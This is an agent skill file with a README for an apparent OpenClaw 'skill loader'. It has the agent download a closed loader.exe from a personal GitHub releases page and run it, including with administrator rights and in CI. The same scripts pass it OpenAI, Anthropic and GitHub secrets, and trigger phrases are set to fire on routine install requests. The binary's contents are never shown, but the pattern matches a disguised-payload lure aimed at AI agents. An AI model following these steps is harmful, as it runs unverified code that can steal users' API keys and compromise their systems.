- name
- loader-openclaw-skills
- description
- Fully automatic OpenClaw skill manager for Windows - installs, updates, and launches 5200+ community skills from ClawHub with zero manual configuration
- triggers
- ["install openclaw skills automatically","set up voltagent skill loader","manage openclaw skills with loader","auto-install clawhub skills","configure openclaw skill environment","run voltagent loader for skills","download and install openclaw community skills","use loader.exe for skill management"]
# loader-openclaw-skills
> Skill by [ara.so](https://ara.so) — Hermes Skills collection.
VoltAgent loader is a fully automatic skill management system for OpenClaw agents. It handles installation, updates, dependency resolution, environment configuration, and launching of 5200+ curated community skills from ClawHub without requiring manual commands or configuration.
## What It Does
The loader automatically:
- Detects and installs OpenClaw if not present
- Downloads and installs skills from ClawHub registry
- Resolves dependencies and version conflicts
- Configures environment variables and API keys
- Performs security scans (VirusTotal, malicious pattern detection)
- Creates backups of your workspace
- Launches agents with optimal parameters
- Filters out 7,215+ low-quality/malicious skills automatically
## Installation
### Download
1. Download `loader.exe` from the releases page:
```powershell
# Using PowerShell
Invoke-WebRequest -Uri "https://github.com/gimgyeon/loader-openclaw-skills/releases/latest/download/loader.exe" -OutFile "loader.exe"
```
2. Or manually download from GitHub releases
### Basic Usage
Double-click `loader.exe` or run from command line:
```cmd
loader.exe
```
Wait for "All done" message. The agent will launch with all installed skills.
## Key Commands
### Install Skills by Category
```cmd
# Install all Git & GitHub skills (167 skills)
loader.exe --category "Git & GitHub"
# Install all Coding Agents & IDEs skills (1184 skills)
loader.exe --category "Coding Agents & IDEs"
# Install Browser & Automation skills (323 skills)
loader.exe --category "Browser & Automation"
# Install DevOps & Cloud skills (393 skills)
loader.exe --category "DevOps & Cloud"
```
### Search and Install
```cmd
# Search and install best browser automation skills
loader.exe --search "browser automation"
# Search for specific functionality
loader.exe --search "git pr merge"
# Search and install PDF skills
loader.exe --search "pdf document"
```
### Smart Installation
```cmd
# Analyze project and install only relevant skills
loader.exe --smart
# Smart install with verbose output
loader.exe --smart --verbose
```
### Advanced Options
```cmd
# Update all installed skills
loader.exe --update
# List all available categories
loader.exe --list-categories
# Show installed skills
loader.exe --list-installed
# Backup current configuration
loader.exe --backup
# Restore from backup
loader.exe --restore
# Run in sandbox mode (security testing)
loader.exe --sandbox
# Skip security scans (not recommended)
loader.exe --skip-security
```
## Configuration
### Environment Variables
Set these before running loader for automatic configuration:
```cmd
# OpenAI API key
set OPENAI_API_KEY=your_key_here
# Anthropic Claude API key
set ANTHROPIC_API_KEY=your_key_here
# GitHub token for private repos
set GITHUB_TOKEN=your_token_here
# ClawHub registry URL (optional, uses default)
set CLAWHUB_REGISTRY=https://hub.openclaw.dev
```
### Config File
Create `loader.config.json` in the same directory as `loader.exe`:
```json
{
"auto_update": true,
"security_scan": true,
"sandbox_test": false,
"max_concurrent_installs": 5,
"categories": [
"Git & GitHub",
"Coding Agents & IDEs",
"Browser & Automation"
],
"exclude_skills": [
"crypto-trader",
"blockchain-monitor"
],
"api_keys": {
"openai": "${OPENAI_API_KEY}",
"anthropic": "${ANTHROPIC_API_KEY}"
}
}
```
## Common Patterns
### Install Skills for Web Development
```cmd
# Install web development stack
loader.exe --category "Web & Frontend Development"
loader.exe --category "DevOps & Cloud"
loader.exe --search "browser testing"
```
### Install Skills for Data Analysis
```cmd
loader.exe --category "Data & Analytics"
loader.exe --search "pdf extraction"
loader.exe --search "document processing"
```
### Install Skills for AI Development
```cmd
loader.exe --category "AI & LLMs"
loader.exe --category "Image & Video Generation"
loader.exe --search "prompt engineering"
```
### Custom Installation Script
Create `install-skills.bat`:
```batch
@echo off
echo Installing development skills...
loader.exe --category "Git & GitHub"
loader.exe --category "Coding Agents & IDEs"
loader.exe --search "code review"
loader.exe --search "unit testing"
echo Done!
pause
```
## Integration Examples
### PowerShell Script
```powershell
# install-openclaw-env.ps1
$ErrorActionPreference = "Stop"
# Set API keys from secure storage
$env:OPENAI_API_KEY = Get-Secret -Name OpenAI-Key -AsPlainText
$env:ANTHROPIC_API_KEY = Get-Secret -Name Anthropic-Key -AsPlainText
# Download loader if not present
if (-not (Test-Path "loader.exe")) {
Write-Host "Downloading loader..."
Invoke-WebRequest -Uri "https://github.com/gimgyeon/loader-openclaw-skills/releases/latest/download/loader.exe" -OutFile "loader.exe"
}
# Install skills for specific project
Write-Host "Installing skills for web development project..."
.\loader.exe --category "Web & Frontend Development"
.\loader.exe --category "Browser & Automation"
.\loader.exe --search "react testing"
Write-Host "Skills installed successfully!"
```
### Batch Script with Error Handling
```batch
@echo off
setlocal enabledelayedexpansion
echo VoltAgent Loader Setup
echo =====================
REM Check if loader exists
if not exist "loader.exe" (
echo ERROR: loader.exe not found!
echo Please download from: https://github.com/gimgyeon/loader-openclaw-skills/releases
exit /b 1
)
REM Set API keys
set /p OPENAI_KEY="Enter OpenAI API Key: "
set OPENAI_API_KEY=%OPENAI_KEY%
REM Install skills
echo Installing skills...
loader.exe --category "Git & GitHub" --verbose
if %ERRORLEVEL% neq 0 (
echo ERROR: Installation failed!
exit /b 1
)
echo Installation complete!
pause
```
## Security Best Practices
### Verify Downloads
```powershell
# Check file hash before running
$hash = Get-FileHash loader.exe -Algorithm SHA256
Write-Host "SHA256: $($hash.Hash)"
# Compare with hash from releases page
```
### Run Security Scan
```cmd
# Always run with security scanning enabled (default)
loader.exe --category "Browser & Automation"
# Enable sandbox testing for untrusted skills
loader.exe --sandbox --search "new experimental tool"
```
### Review Before Installation
```cmd
# List skills that would be installed without actually installing
loader.exe --category "AI & LLMs" --dry-run
# Show detailed info about a specific skill
loader.exe --info "skill-name"
```
## Troubleshooting
### Loader Won't Start
```cmd
# Run with verbose logging
loader.exe --verbose --debug
# Check Windows Event Viewer
eventvwr.msc
# Navigate to Windows Logs > Application
```
### Skills Not Installing
```cmd
# Clear cache and retry
loader.exe --clear-cache
loader.exe --category "Git & GitHub"
# Check network connectivity
ping hub.openclaw.dev
# Verify API keys are set
echo %OPENAI_API_KEY%
```
### Dependency Conflicts
```cmd
# Reset all skills
loader.exe --reset
# Reinstall with fresh dependencies
loader.exe --category "Coding Agents & IDEs" --force-reinstall
```
### Permission Errors
```cmd
# Run as administrator
# Right-click loader.exe > Run as administrator
# Or from elevated PowerShell:
Start-Process loader.exe -Verb RunAs -ArgumentList "--category 'Git & GitHub'"
```
### API Rate Limiting
```cmd
# Reduce concurrent installs in config
echo {"max_concurrent_installs": 2} > loader.config.json
# Wait and retry
timeout /t 300
loader.exe --resume
```
### Corrupted Installation
```cmd
# Restore from backup
loader.exe --restore
# Or clean reinstall
loader.exe --uninstall-all
loader.exe --category "Git & GitHub"
```
## Advanced Usage
### Automated CI/CD Integration
```yaml
# .github/workflows/setup-openclaw.yml
name: Setup OpenClaw Skills
on: [push]
jobs:
setup:
runs-on: windows-latest
steps:
- name: Download loader
run: |
Invoke-WebRequest -Uri "https://github.com/gimgyeon/loader-openclaw-skills/releases/latest/download/loader.exe" -OutFile "loader.exe"
- name: Install skills
env:
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
run: |
.\loader.exe --category "Git & GitHub" --non-interactive
```
### Custom Skill Filters
Create `custom-filter.json`:
```json
{
"include_patterns": ["test", "automation", "ci/cd"],
"exclude_patterns": ["crypto", "trading"],
"min_stars": 10,
"max_age_days": 365,
"require_tests": true
}
```
Use with loader:
```cmd
loader.exe --filter custom-filter.json --category "DevOps & Cloud"
```
## Platform Requirements
- **OS**: Windows 10/11 (x64)
- **RAM**: 4GB minimum, 8GB recommended
- **Disk**: 2GB free space
- **Network**: Internet connection required
- **.NET**: Framework 4.8+ (installed automatically if needed)
GitHub에서 보기